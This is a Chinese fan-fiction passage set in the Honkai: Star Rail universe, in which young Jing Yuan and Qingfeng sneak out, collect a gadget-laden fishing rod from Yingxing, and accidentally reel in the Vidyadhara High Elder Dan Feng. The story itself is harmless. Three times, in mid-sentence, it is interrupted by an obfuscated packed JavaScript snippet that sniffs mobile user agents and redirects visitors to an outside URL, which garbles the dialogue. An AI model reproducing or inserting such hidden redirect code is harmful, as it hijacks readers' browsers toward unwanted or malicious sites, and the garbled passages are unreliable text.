敏锐的阿清自然捕捉到了好友这一瞬间的犹豫,赶忙乘胜追击。 “你看,我伤好的差不多,咱就出去散散步,走不了多远的,一下就回来了。”阿清放低了声音,对着好友循循善诱。 景元陷入了思索:“唔……” 阿清乘胜追击:“……再说了,咱都待在这里几天了,这周围人也不多,换药的医士也刚刚离去,溜出去的这一会儿,除了天知地知你知我知,还能有谁知道?” 景元有所意动:“嗯……” 见好友如此这般依旧犹豫,阿清一咬牙,终于还是献出大招:“好吧!其实我在工造司那边订制了一个超级酷炫的机巧器具!前几日已经完成了,你要是同意让我出去,我就分你玩!” “成交!”此话一出,景元毫不犹豫便答应了下来,说完还转过头对着好友继续道,“事不宜迟,我们现在就去工造司吧!” 说完,将手里的书往桌上一丢,熟练地将枕头放在病床上伪造出有人的样子,熟练地收拾东西,不过几分钟,立马便是一副可以随时出门的模样。 看到好友这般熟练的操作,阿清心里又有什么不清楚的呢? 他抽了抽嘴角,无语地看着好友一副整装待发的模样站在自己身前,半晌,他缓缓开口:“你这家伙,其实早就想溜出去玩了吧……” “你在说些什么呢?”景元一副“惊讶”的表情,“我要是想溜不是随时都可以吗,将军说是拜托我看着你,也没强制性要求我一直看着你呀,我可是担心你一个人无聊才一直呆在这里的,哪有什么早就想溜出去玩儿的想法呢?” 阿清听了,好像确实是这个道理,但是敏锐的直觉又觉得哪里不太对。 他皱着眉毛,试图立马找出那个不太对的地方究竟在何处。 看着阿清呆立在原地的思索样儿,景元面上笑了笑,赶忙催促道:“好啦,有什么好想的,不是要溜出去玩儿吗?咱们赶紧的,不然等会晚了,医士就要回来了……” “哦对对对,”阿清回过神来,赶紧道,“工造司距离这里可有些距离,要是不快些,等会拿完机巧器具,咱们连玩儿的时间都要没有,得抓紧。” 说着,三下五除二便换了身方便行动的衣服,便和景元朝门口快步走去。 …… … * “……不过我说,咱俩就出去玩一会儿罢了,又不是不回来,至于这么小心吗?”阿清身后,景元看着前方猫着身子探听前方路口拐角处动静的好友,一脸不解。 “哎呀你不了解我师父,”阿清一脸经历颇多的严肃模样,对着好友解释,“他说一个月,那肯定就是一个月,表面上看,他只让你好好看着我,实际上,背地里不知道有多少他的眼线在为他做事看着我呢!” 说完,还丢好友一个眼神——“兄弟,学着点!” 听闻阿清此言,景元略感无言的同时,心里不由将自家师父拿出来比对了番。 镜流师父,也会有眼线看着自己平日里有没有好好完成课业吗? 景元稍稍想象了一下镜流师父拜托他人当作眼线看着自己完成课业情况的场景…… …… 不行,完全想象不出来,再说了自己对于课业从来没有懈怠的时候,也没有什么被关禁闭的机会,甚至此次偷溜出来的经历也是拜好友所赐…… 这样想来,阿清现在需要如此谨慎,完全就是自作自受!自己不过是顺带的! 世界上除了他,有谁偷溜出门玩还需要警惕那所谓的“眼线”啊!又不是谍战片! 思绪间,那边阿清也探明了前方路线的情况,回头朝景元比了一个手势:“前方确认安全!我们快走!” 景元:…… 走吧,自己交的好朋友,只能一起这样受着了。 …… 如是这般七拐八拐,俩人顺利地离开了丹鼎司,来到了工造司。 远离了丹鼎司,阿清的姿态神情明显地放松了不少,看着阿清大摇大摆走在街头的模样,景元挑了挑眉:“到这里就不用小心你师父的‘眼线’了?” 阿清笑着对景元歪了歪头:“这你就不懂了吧,我师父啊,向来只在离我最近的地方搞那些,离远了费时费力,他傻了才会那么做呢,几个月以来都是这样……” 说着,还叹息地摆了摆手,“……一点新意都没有,早就被我摸透了。” 看着好友那一脸“毫无挑战性”的无聊样,景元内心对于将军的敬佩程度无形中又上升了几个等级。 要降住这个完全“安分”不下来的好兄弟,腾骁将军真是费心了。 不过再如何那也是将军以后要操心的事,景元现在心里更感兴趣的果然还是…… “你在工造司究竟定制了什么器具啊?”语气中带着好奇,毕竟能让阿清以“酷炫”这样的词语来形容的,想来一定是非常有趣的玩意儿。 “嘿嘿,”说到这个,阿清的脸上顿时流露出一丝神秘的笑意,“那可是我亲手设计的东西,不仅造型奇特,功能也齐全,等会你看了就知道了!” 听着好友这般介绍,景元内心也不由带上了几分期待。 会是什么东西呢? …… “就是这个东西吗?”景元看着好友手中约三、四米长的杆子,眼神逐渐变得疑惑,“看上去也没什么特别的……” “景元啊,所以说,看东西咱不能光看外表。”阿清对着好友摇了摇手指,一副你还是见识太少了的样子,“这副鱼竿你别看它现在看上去平平无奇,实际上它功能多着呢!” 景元,景元将目光再次放在了那看似平平无奇的长杆子上。 ……怎么看都和平日里看到的鱼竿没有什么不同,不管是其上装备的轮座,还是那杆侧的细闪鱼线…… 嗯?细闪鱼线? “哼哼,我的好兄弟,看来你已经开始发现了这根鱼竿的妙处。”阿清嘴角勾起了兴奋的笑容,那神情,就像千里马终于看到了懂自己的伯乐,钟子期终于遇见了俞伯牙…… “这可不仅仅是一根鱼竿,这杆身我特意让匠人使用了韧性最好的材料,自带伸缩,不仅可以伸长至五米,还可以缩短至一米,方便携带,最重要的是硬度足够,不管怎么甩都不容易断,鱼线还携带了变色功能……” “咳咳。”不知何处传来了陌生的声音。 兴奋的阿清毫无察觉:“……而且顶端自带照明功能,即便是再黑的环境内都可以看得到!夜晚钓鱼也无需担忧,我还在末尾的鱼钩里加装了芯片和自动索敌机制,用最小的体积装载最精细的功能……” “咳咳咳。”咳嗽声逐渐加大了少许。 “……这样在没有技术的人都可以捕捉到鱼,甚至我还在此基础之上设计了深海雷达探索功能,这个功能不仅在水下可以用,陆地上也可以!只要打开特定的按钮,就会弹出了一个屏幕,这样不管是海水之下还是陆地之上,没有任何一个生物可以逃离这个鱼竿的探索!有这样的好东西,以后我就再也不用担心被师父抓回去了哈哈哈哈哈哈哈!!” 介绍到最后,阿清再也掩饰不住内心的狂喜,看得出来,不管是对这根鱼竿的外表还是功能,他都满意地不得了。 “咳咳咳咳!”陌生的声音中终于还是带上了些许情绪,那声音的主人转头,看向景元,“这位来取机巧的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437592|200989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小友就算了,景元,难道我的声音对你来说就这么没有辨识度吗?” 另一侧,景元将自己的目光从阿清手中的鱼竿拔了出来后,看向那声音的主人,内心对于鱼竿的兴趣顿时转变为看到熟人的意外:“应星哥?” 他看着黑发的匠人,又看了看阿清抚摸着手中鱼竿的模样,终于想起来自己为何会觉得这一间锻造室如此熟悉了。 “对了!这间锻造室,是应星哥的锻造室!”景元恍然道。 “这种事情也能忘吗?”应星无奈地看着自己认识了许久的小朋友,而后又将目光转向清风“还有,这根鱼竿,我记得是来自将军府的订单吧?小朋友,你是何人?若非将军府上之人,我可不能让你将它拿走。” 另一边,阿清也将自己的注意力从鱼竿上转移开,看向应星:“啊,这个器具是你锻造的吗?”他眨了眨眼睛,看着眼前陌生的黑发匠人,“我的师父是腾骁将军,我名清风,也算是将军府上的一员,所以我想,我还是可以将这根鱼竿拿走的。” 将军府的订单?景元听了内心一动。 难怪是应星哥来锻造这个器具,要知道,应星身为仙舟“百冶”,联盟之内锻造技术公认的顶尖人物,可不是什么订单都能让他来锻造。 内心如此思索,景元面上还是点了点头,道:“应星哥,阿清是将军的徒弟,这一点我可以作证!”说完还多介绍了一句,“也是我最近新交的朋友。” “腾骁将军收徒了?”应星的注意力却是被另一消息所吸引。 “这都好久的事情了……”景元木着眼睛看向应星,“早和你说了别老是待在锻造室内忙碌,再这样下去,你就要扎根在这锻造室变成锻造机器了!” “小孩子懂什么呢!”应星对这话语早就免疫了,毫不在意道,“这些机巧器具可比任何东西都有意思多了,再说了,就算真的变成锻造机器那不不是什么坏事啊,不用吃饭睡觉可以一直研究………” 说着说着,竟然还认真思索,言语间甚至带上了几分意动。 景元:…… 看着应星那认真的模样,景元觉得还是先不把白珩姐回来的事告诉他。 算算时间,白珩姐应该把各项事情安顿的差不多了,这几天肯定会来锻造室找应星哥,看看他是不是又日夜颠倒不顾身体健康沉迷机巧器具。 等白珩姐过来看到他现在的模样…… 景元看着应星杂乱的头发和再精亮的眼眸都掩饰不了的疲惫脸色,心中“哼哼”了两声。 “欸景元,你认识他啊。”身侧,阿清凑过来小声地问道。 景元点了点头,“应星哥是师父和白珩姐的好朋友,锻造技术可是……” “哎呀我知道,很厉害嘛,”阿清摆了摆手,“不然我也不会偷偷用师父的玉兆下订单了,要知道这个鱼竿的材料贵得很……规格还高,走一般通道还申请不下来呢……” 景元:…… 仿佛看到了未来腾骁将军知道这件事后,好朋友“悲惨”的结局。 不过再怎么样那都是未来的事情了。 “那还等什么,咱们赶紧找个地方试试啊!”景元看着这跟看似朴实无华实则内涵乾坤的好鱼竿,内心也不由地迫不及待起来。 “你说的对!”阿清点了点头。 于是,等应星从自己的思绪中回过神来,偌大的锻造室,早就没有了两个小孩的身影。 “哎呀!”应星看着空旷的空地,忽而喃喃自语,“忘了问他,那个订单的锻造图纸是谁画的了……” 脑中回忆起锻造图纸内各种精密的设计细节,应星心里闪过几丝兴味,“虽然那根鱼竿看上去没什么,但是如果用的好,在情报收集方面,也许可以取到一些出其不意的效果……也不知道将军又是在哪里找到的人才……” 不过虽然可惜刚刚没有问到,但应星也并未过多纠结。 回头有空问问玄羽好了,身为将军的策士长,她肯定知道是谁画的图纸。 心念一闪而过,很快,应星又将身心投入到了眼前的锻造台上。 …… * …… “所以,我们去哪里试这根鱼竿比较好呢?”另一边,景元心里想了好几个地方,都觉得不是很合适。 而对此,阿清心中早有答案。 他对着景元笑着,说出了早就计划好的答案:“那当然是去,波月古海啦!” 7. 第 7 章 * 你钓过鱼吗? 一条河,一根杆,一个人,静坐在河边,感受着周围大自然的气息,与那河中的生物来一场飘渺的缘分…… “所以,这和我们一定要选择波月古海这件事情有什么必然的联系吗?”景元如是问道,毕竟仙舟之上可以钓鱼的地方繁多,他实在想不通为什么要选择这么大的一片海。 清风听闻却并未第一时间回答,而是反问好友:“我们这次来主要目的是为了什么?” 景元径直回答:“不是为了试试那根鱼竿吗?” “对!”清风点了点头,拿着手中的鱼竿示意了一下,再次问道,“那么,要去什么样的地方才能够更好地测试出这根鱼竿的功能呢?” “呃……”景元思索了一下,犹豫回答道,“要去……不容易钓到鱼的地方?” “完全正确!!”清风伸出右手比了一个大大的拇指! 说完,面对着不远处的波月古海正色道:“……所以!什么小河小溪小水沟,不管鱼再多环境再好,那都无法体现出这跟鱼竿的精妙之处!是以,波月古海…… ……一处水域面积够大,深度够高,生物类型也够多,最重要的是……” 说到这里,清风还绕着好兄弟转了个圈,以此抒发了一下内心的激动。 “……最重要的是!这里!人少!” “人少?”从来没有过钓鱼经验的景元重复着好友的话,语气里流露出些许疑惑。 “是的!人少!”阿清兴奋握拳,“众所周知,钓鱼的地方人越少,那么能够钓上来的东西就越大越稀有!这可是我历经千辛万苦好不容易才打听到的钓鱼圣经!!经过多方专业人士的认证,绝对不会出错的真理!” “hiahiahia,等钓上了一条大家伙,拿回去带给师父当晚餐,在上几杯好酒,说几句好话,没准就不会计较我偷拿他玉兆下订单的事了,顺利的话我的禁闭时间也可以提前解除…………”说着,清风的脸上带上几分阴笑。 景元:…… 景元就这样看着好友那般豪情壮语,渐渐变成幻想,再次无奈地叹了一口气。 这家伙,还记得今天是偷偷溜出来的吗? 暂且不说能不能钓到,就算钓到了,带回去给将军,那岂不是变相证明了他没有好好待在丹鼎司养伤吗? 想到此处,景元摇了摇头,可看到好友那激动不已的模样,还是暂时放弃了提醒他的想法。 …… 就这样,在两人的插科打诨中,波月古海的景色逐渐映入眼帘。 波月古海,仙舟持明族的居住之所,同时也是罗浮仙舟最大的水域所在地。 “所以,我们要在海边钓吗?”景元感受着脚下松软的沙地和那浅浅的海滩,觉得要在这个地方钓到好友口中所说的大家伙,可能难度有点高。 “怎么可能。”阿清对此表示否定,然后便早有准备地从口袋里掏出了一张纸,道,“我这里有地图,海滩边的地势还是不够好,所以我们就去……” 景元听闻,好奇地将脑袋凑到地图边上。 “……去这!”阿清找准了位置,将手指指向地图之上的一处标点。 景元听闻仔细看了看。 嗯,从地图上来看这个地方地势不高不低,周围三面环水,只有一条道路可以到达,虽然不知道为什么这张地图要特意标注这个地方,不过也可能是阿清标注的吧。 毕竟提前多做一些准备就为了试他的鱼竿,阿清这家伙完全做得出来。 所以景元并未多想,只是对着好友赞同地点了点头。 ………… …… 半小时后。 在阿清的带领下,景元左拐右拐终于来到了地图之上的所在地,看着前方空地上那巨大的雕像,景元回想起刚刚一路偶尔所见的持明守卫,内心带上了几分疑虑。 “阿清,你确定这个地方我们可以进来钓鱼吗?”景元试图向好友寻求一个答案。 “哦,这个地方啊,”清风一边火速找好位置,将自己的鱼竿拿出来,一边回答好友的问题,“当然不行,这个地方好像只有持明一族可以进来来着,听说好像是特定节日用来……用来干什么来着?忘了……” “哦,原来是这样啊。”景元了然点头,难怪刚刚过来的路上持明守卫那么多。 ………… 景元:…… 所以,阿清又是怎么做到带着他那么精准地避开所有明面的暗地的所有的守卫呢? “哎呀,你忘了刚刚在工造司我给你介绍这根鱼竿的深海探测功能了吗?”对此,清风对着好兄弟再次介绍道,“鱼竿深海探测功能,不仅是天上飞的,地上跑的,还是水里游的,只要是活的,通通都逃不过他的立体探测系统!” 景元:…… 是他狭隘了,一个鱼竿的功能竟然真的像他之前说的那样丰富,他一直以为那鱼竿最多探测探测海里的鱼呢!没想到连持明一族的守卫巡逻轨迹都能够探测吗! 话说这还是鱼竿吗?!那已经完完全全脱离鱼竿的功能范畴了吧! 景元欲言又止,止言又欲,只觉得出来玩一趟自己内心情绪的起伏程度远比前短时间在丹鼎司来的多的多的多。 …… 不过说归说,想归想,有这样的一根鱼竿,那真的是…… 太酷了! 景元点了点头,对于此前好友说这是非常酷炫的机巧器具这一形容表示了十分的赞同。 所以…… “所以啥时候也借我玩玩!”景元凑到好友身边,对着那根浑身漆黑,自带亮闪闪鱼线的鱼竿表达了想要试玩的想法。 “别急嘛,等我先试试它的钓鱼功能好使不,”阿清对好兄弟比了一个稍安勿躁的手势,然后一边摆弄着手中的鱼竿,一边继续道,“好歹等我先钓上一条鱼再说,这根鱼竿的初次胜利,必须在我的手中诞生才好!” 鱼竿是阿清下的订单,这话没毛病。 于是景元也只得先按耐住内心的跃跃欲试,看着好友开始钓鱼。 ………… 开始钓鱼 钓鱼 鱼。 ………… 半个小时过后。 “鱼呢?”阿清不可置信地看着鱼线上空空如也的鱼钩,发出了不可置信的声音。 “雷达探测上明明显示了下面有很多鱼的!不应该啊?” 清风思索,清风沉思,清风百思不得其解。 “为什么!”清风对着手中的鱼竿发出了灵魂质问! 景元看着鱼钩,思索了一下,像是找到了问题的答案。 “是不是因为咱们没有挂鱼饵啊?”景元对阿清道。 ! 鱼饵! 这俩字宛如晴天霹雳一般,瞬间击中了阿清。 他目光呆滞,嘴巴大张,半晌,喃喃道:“……对了,饵料,我怎么把最重要的东西给忘了,钓鱼的前辈曾经说过,用饵料打窝乃是钓鱼出货最为关键的一招,我怎么可以把它给忘了!” 景元看着好友一副“悔恨”的模样,无语了一瞬,道:“我还以为你的鱼竿功能齐全到自带诱鱼系统呢……” “没有,”阿清听了撇了撇嘴,但是很快,他又像是想起了什么,眼睛一亮,道,“虽然没有诱鱼系统,但是我们可以手动飞杆钓鱼啊!” “飞杆钓鱼?”又是一个触及到景元知识盲区的词汇,“那是什么?” “感谢将所有钓鱼经验教授给我的前辈,”阿清眼睛微闭,并未直接回答景元的疑问,只是道,“你就看我的吧!” 说着,左脚朝斜后方一跨,锁紧鱼线长度,双手握紧鱼竿,腰腹合力,眼神一凝。 “呼——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437593|200989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韧性颇好的鱼竿就这样被阿清甩,甩,甩! 力道在那一圈一圈的甩动中逐渐边大,鱼线摆动的弧度也在逐渐变深。 终于,在某一个临界点,阿清将鱼竿向前方一送,一直紧着的鱼线也随之一松。 “哗哗哗——” 亮闪闪的鱼线就这样在一圈又一圈的力道积累中被阿清送入深海之中。 “哦!”景元见状两眼放光,“这就是飞杆钓鱼吗?我之前没有见过的招式!看起来好酷啊!” “哼哼,那是,我也是求了别人好久人家才愿意教我的呢。”这个时候小伙伴的夸赞简直比任何东西都要让阿清心情来的舒畅。 “不过,这样真的可以钓到鱼吗?”景元对此还是表示了一定的担忧,“波月古海的鱼没那么容易钓到吧。” “放心,我飞杆前看过雷达了,”阿清嘴角勾笑,脸上满是势在必得,“鱼钩是往最大的一个目标飞过去的,那么大的目标,我必不可能失手!” 嗯,是这样吗? 不知为何,景元并没有完全放下心中的忧虑。 然而不等他在多说几句,阿清手中的鱼竿便立马有了动静。 “欸!钓到了钓到了!”阿清感受着手里鱼竿的动静,兴奋地对好友大声道,“我就说吧,肯定没问题!景元快过来帮忙!” 景元见状,赶忙快步走到好友身侧,双手握住鱼竿,跟随着好友的力道一步一步朝后挪。 可刚一上手,景元便觉不好。 “好重的力道,咱俩搞不定吧!”感受着鱼竿上传来的拉扯,景元脑门上冒出几滴汗水。 “嘿嘿,所以说,我给鱼竿加这个功能就是为了这一刻!”面对巨大的力道,阿清没有丝毫慌乱,相反,他的眼神愈发明亮。 “出现吧!我的大力士!!!” 景元:??? 清风一声怒吼,鱼竿即刻变形! 鱼竿的根部瞬间朝地面延伸、扎根,扎根完成后,鱼线立马开始飞速回收!“哗啦啦”的声音如同浪花一般延绵不绝! 景元目瞪口呆地看着眼前这根“鱼竿”的变形,内心再次发出质问。 这真的只是一根鱼竿吗?!! 然而他的问题这个时候注定没有人回答。 不得不说,清风的“大力士”确实名副其实,充满了力量,不过几个呼吸间,清风钓到的大家伙就这样被鱼线捆绑着,浮出水面。 “噗。” 钓到的大家伙破开水面发出一声轻响,伴随的还有清风高兴的笑声。 “哈哈哈!我就说我可以钓到吧,我的鱼竿真棒……”然而兴奋的话语还未说完,清风的声音便戛然而止。 只见那鱼竿的顶端,鱼线捆绑着的大家伙,并不是什么鱼,也不是什么别的东西,而是一位头生龙角的……“人”? 那人面容清冷,气质冷冽,眼尾带红,发丝在海水的浸泡下贴在那苍白的脸颊边…… 水珠从那脸颊处、发尾处、衣角处滴落,落至海面。 “滴答、滴答。” 声音不大,却唤回了岸上二人停滞的思绪。 景元浑身僵硬,目光呆滞,嗓子干涩,他张了张嘴,正想对着那“人”说些什么,却只听身侧好友一声大叫。 “我的师父啊!”清风满脸惊叹,然后拉了拉景元的衣袖,手指着鱼线捆绑的身影道,”我居然钓到了一只美人龙!!!” 美人龙你个头啊! 景元再也忍不住在心里怒骂,那是持明一族的龙尊!兄弟你没常识吗!! 哦对了,他确实没有什么常识…… 那也不是什么美人龙啊!没见过持明族吗? 可惜清风没有读心术,所以并不知道好兄弟内心的独白。 他感叹完后,看着前方的“人”,一边自语。 “我这钓鱼技术,还挺厉害啊……” 8. 第 8 章 * 今日是平凡的一天。 但是对于罗浮仙舟持明族龙尊——丹枫来说,是个精彩的一天。 …… * 众所周知,罗浮仙舟持明一族之长——饮月君是一位善医的龙尊,平日里偶尔会研究些许奇特药方。 研究药方最重要的是何物?自然是多种药材。 不巧的是,今日持明族药房正好缺少了一昧药,一昧龙尊大人急需,却正好用完的珍贵药材。 急需,是因为龙尊大人新研制的药方就差临门一脚,这临门一脚,恰好是那用完的药材。 珍贵,是因为这昧药材的生长地点在古海中较为偏僻的一处地方,平日里少有人去,即便是持明一族的采药人,若非必需,也鲜少去哪儿。 于是龙尊大人决定亲自前往那偏僻的一角去采药。 按理来说,这般小事本无需龙尊大人亲自动手,龙尊大人需要,只消吩咐下去,不过几日,那缺失的药材便会在药房中重新补上库存。 不过罗浮仙舟的龙尊并不会在乎这等小事,对他而言,采药或许就像是外出散步一样的小事,顺手便做了,至于以龙尊的身份去做这样的小事会不会失了礼节? 也许只有持明内部的龙师议会会对此有所意见…… 总之言归正传,种种原因之下,今日,龙尊大人饮月君,就这样难得地出现在了深海处,手里还拿着几株形状奇特的草药。 “……叶脉清晰,叶片分明……嗯,生长地不错,年份也是足够的……”深海中,饮月仔细辨认着手中的药材,确认是否是自己所需。 饮月的医术卓越,仙舟之内赫赫有名,辨别药材自然是不在话下,即便这是在光线有限的深海之中。 所以不过几分钟,饮月便采摘好了药材,并将其收好,转身离去。 但是离开不过几分,丹枫便停下了前进的动作,看着海面上远方那隐约的一处亮点。 “那是什么?”看着飞速朝着自己方向飞来的“银点”,这位持明一族的龙尊大人这一刻有些疑惑。 不等他仔细思索,那速度飞快不过几个呼吸间便飞至眼前的“银点”便告诉了他答案。 丹枫:? 鱼钩?鱼线? 大概是从未在深海之中看到这个东西,在认出那“银点”的真实面目时,丹枫竟怔愣了一瞬。 可就是这怔愣的一瞬,那飞速“袭来”的鱼钩立刻便在其衣袖上固定。 丹枫缓缓抬起手中衣袖,看着那鱼钩上连接的,“亮闪闪”的鱼线,只觉得眼前这一幕着实新鲜的紧。 谁会在这波月古海深处钓鱼啊?而且这可是波月古海较为偏僻的地方,持明人没事儿都不会来此处,其他仙舟之人就更不会过来,更别提来这里钓鱼了!! 丹枫一时无言。 看着衣袖上的鱼钩和鱼线,丹枫自然不会对这个东西有过多的防备。持明龙尊,有行云布雨之能,海水于他而言是天然的优势,在这里对持明一族的龙尊出手,无疑是自寻死路。 是以,看着那亮闪闪的鱼线,丹枫毫无防备地伸出手指扯了扯。 这不扯还好,鱼线原本便只是安静地在海水中随着水波漂浮,可丹枫这一扯,那鱼线竟立刻像睡醒了的长蛇,突然挥舞起来,不过一瞬,便以迅雷不及掩耳之势将没有任何防备的丹龙尊大人捆了个彻底。 持明龙尊.丹枫.饮月君:??? 这鱼线怎么回事?还自带捆绑功能?!不对,这真的是鱼线,而不是什么经过伪装的机巧装备吗? 不等丹枫过多思考,鱼线的另一头立刻便传来的一股力道,试图将他拉到那一头过去。 丹枫皱了皱眉头,并没有顺着那股力道放松,周身海水翻涌,一时间和那力道形成僵持。 看着身上的鱼线,丹枫双臂用力一挣…… ? 用力一挣……挣脱不开? 再仔细一看,丹枫这才发现,这鱼线的材料……这不是云骑军内部才能够使用的特殊材料吗?难道说,当真是来者不善? 似乎是想到了什么,丹枫眉间的神思变得愈发凝重,周身的海浪翻腾幅度也逐渐加大。 就在此刻,鱼线另一头传来的力道一瞬间便加大了不少,即便是丹枫,也被那瞬间的力气扯动了几分稳固的身形。 但很快,他内心又有所决断。 与其在此处僵持,不如顺势而为,看看那鱼线的另一头,究竟是何人所为。 这样想着,海内的水流又逐渐平息了下来,与之相对的,鱼线间僵持的力道也瞬间消散,丹枫的身影就这样迅速被鱼线拉往岸边。 顺着力道,丹枫看着那远方岸边熟悉的景色越来越近,而岸边的两道身影也逐渐清晰。 他内心的警惕也逐步降低,疑惑和不解也逐渐涌上心头。 终于,丹枫随着鱼线的力道破水而出,在岸边二人呆滞的目光中挂在了鱼竿顶端。 丹枫:…… 景元:…… 清风:…… 看着岸边熟悉的白毛小孩和陌生的黑毛小孩,丹枫一时间不知该说些什么。 能说些什么? 此处可是持明一族才可入内的重地,问他俩是如何进来的?问景元他身旁之人是谁?问他二人为何会在此处……钓鱼? 疑问很多,但是似乎又没有那么多,就在三人相顾无言的时候,丹枫只见那黑发的孩子大声道。 “……我居然钓到了一只美人龙!!!” 丹枫:……………… 这孩子,语出惊人啊。 不等丹枫说些什么,又见那孩子摸着下巴,看着丹枫喃喃自语。 “我这钓鱼技术,还挺厉害啊……” 丹枫:……………… 丹枫大人听了,眼角终于还是微不可察地抽了抽。 嗯,怎么说呢,钓鱼钓到了持明一族的龙尊大人,虽然这其中也有丹枫自己放任的原因在里面,但就结果而言,确实也是对其“高超”钓鱼技术的认可了。 不过这并不是丹枫目前最为关注的一点。 在确认眼前的两人并非有恶意之人,丹枫内心的警惕早已烟消云散。 此时,他只想让自己不要在以一个被鱼线捆绑的姿态挂在两个孩子面前,毕竟再如何,他也是饮月——持明一族的龙尊。 于是他看着黑发的孩子,缓缓开口:“你……” 然而不等他将话说完,却只听那孩子一声惊呼。 “哦!景元你快看!这条龙说话了!他会说话欸!!!”清风一手指着丹枫,另一手还不住扒拉着好友的手臂,全然没有发现景元此刻早已浑身散发着“逃离此处”的强烈气息。 丹枫:…………… 丹枫握紧了拳头。 …… * …… 清冷的龙尊面容沉静,于岸边站立,身姿挺拔,气质如松,谁看了不赞叹一声“不愧是饮月君”。 然而与之割裂的,却是在其身前低头站立的两个孩子。 此时的小景元面容肃立,只觉得自己从小到大积累(?)的乖巧小孩的形象即将毁于一旦。 和小伙伴出来玩悄悄溜进持明族重地不说,还把持明族的龙尊大人当鱼钓了上来,这话说出去任谁来都只会得到一句“吹牛”的评价,可偏偏这样的事就是发生了!! 若是这事被丹枫哥告诉了师父或者父母。 景元想象了一下师父和父母会作何反应…… 师父,想象不出来,大概会是加倍的课业训练。 父母………… 景元:…… 景元内心倒吸了一口凉气,不愿去想象那般悲惨的后果。 看来不论是谁,只要是小孩都会对家长有所畏惧。 咋办?咋办?咋办? 就在小景元脑内飞速运转的时候,身边的清风正不住地朝好兄弟使眼色。 “景元!你怎么不早告诉我他是持明一族的龙尊啊!” “要是被师父知道了好兄弟我不是又得被关禁闭!!” “兄弟快想想办法救命啊!” 清风的眼皮子飞速翻动,只觉得这一刻只有用好兄弟那聪明的大脑才能拯救目前这个接近于死局的糟糕局面! 景元脑子好使,一定会有办法的! 清风小朋友如是认为,内心充满了对好兄弟脑子的信任! 殊不知自己的好兄弟此刻也是自身难保! 就在两小孩脑内飞速运转的时候,丹枫大人眼帘微垂,看着面前毛绒绒的两个脑袋,缓缓开口: “你们俩……” 此话刚出,毛绒绒的两个脑袋随之一抖。 “你们俩,是怎么来到这里的?”比起被鱼线挂在鱼竿上,还是这件事更让丹枫关心。 清风听到这个问题,内心悄悄松了一口气,只要不是怪自己把他当鱼钓起来就好。 “用鱼竿上的探测系统避开守卫的。” 清风老实回答。 “鱼竿上的探测系统吗……” 丹枫听了,拿起岸边的鱼竿操作了几下,眼眸微闪,似乎带着几丝惊异,而后看着清风的脑袋,继续问道: “我没看错的话,这根鱼竿是工造司的产物,所用材料皆为上乘之选, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437594|200989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们二人,是从何处得到这根鱼竿的?” 这个…… 听到这个问题,清风的眼神飘忽了一瞬。 是偷偷用师父的玉兆下的订单,这种话他怎么说地出口。 真说出来了不就等于被师父知道了!他鱼还没钓到呢,没有鱼,就没得送给师父,就没得哄师父开心,自己肯定会因此被师父制裁的! 得赶紧随便找个理由糊弄过去! “是阿清用他师父的玉兆下的工造司订单制作出来的。”耳边,景元不紧不慢的声音响起。 清风不敢置信地看向好兄弟。 好兄弟!这话怎么可以说出来!你想让我倒大霉吗! 景元恨铁不成钢地看了好友一眼。 你以为这事不会被将军知道吗?!迟早的事!还是赶紧回去认个错争取将军宽大处理吧…… “阿清的师父?”丹枫嘴里重复着景元的话语,眼帘微垂,又道,“原是腾骁将军的徒弟,清风。” 清风听了,眨了眨眼睛,看着这位持明族的龙尊,问道:"你认识我?" 丹枫微微点头,回答:“只是有所耳闻,前段时间,罗浮仙舟码头一战,不可谓不有名……小小年纪,便敢挑战罗浮仙舟剑首,清风小友,颇有胆色……” 说着,丹枫的嘴角带上些许细微的笑意,像是在欣赏着这位之前从未谋面的孩子,又像是在意外那传闻中的剑术奇才,竟是眼前这般有趣的性情。 丹枫拿着手里的鱼竿,指尖细细摩挲着上面细小的纹路,道,“我明白了。” 清风听了,收敛了因为夸赞而有些不好意思的神情,好奇地抬起了头。 明白了啥? 可丹枫并没有回答他的意思,只是在清风依依不舍地眼神中,将那鱼竿仔细收了起来。 一边收,一边看着清风对其轻声道:“这根鱼竿的材料特殊,一般只用于云骑军内部,不可轻易泄露,不过介于小友乃腾骁将军之徒,想必以后也会是云骑军的一员,此番我先暂时帮小友收起,回头做好备案后再将其物归原主……” 而面对这番言论,清风却是木楞地点着头,似乎完全不在意自己新鲜到手的“玩具”即将离自己而去。 他目光略有些涣散看着丹枫清冷的面容,微红的眼角,还有那……还有那以前从未见过的,晶莹透亮的龙角。 清风:……他的龙角好好看,不知道摸上去手感如何。 一旁的景元看着清风这副怔愣的表情,只觉心中涌上了一股熟悉的不祥预感。 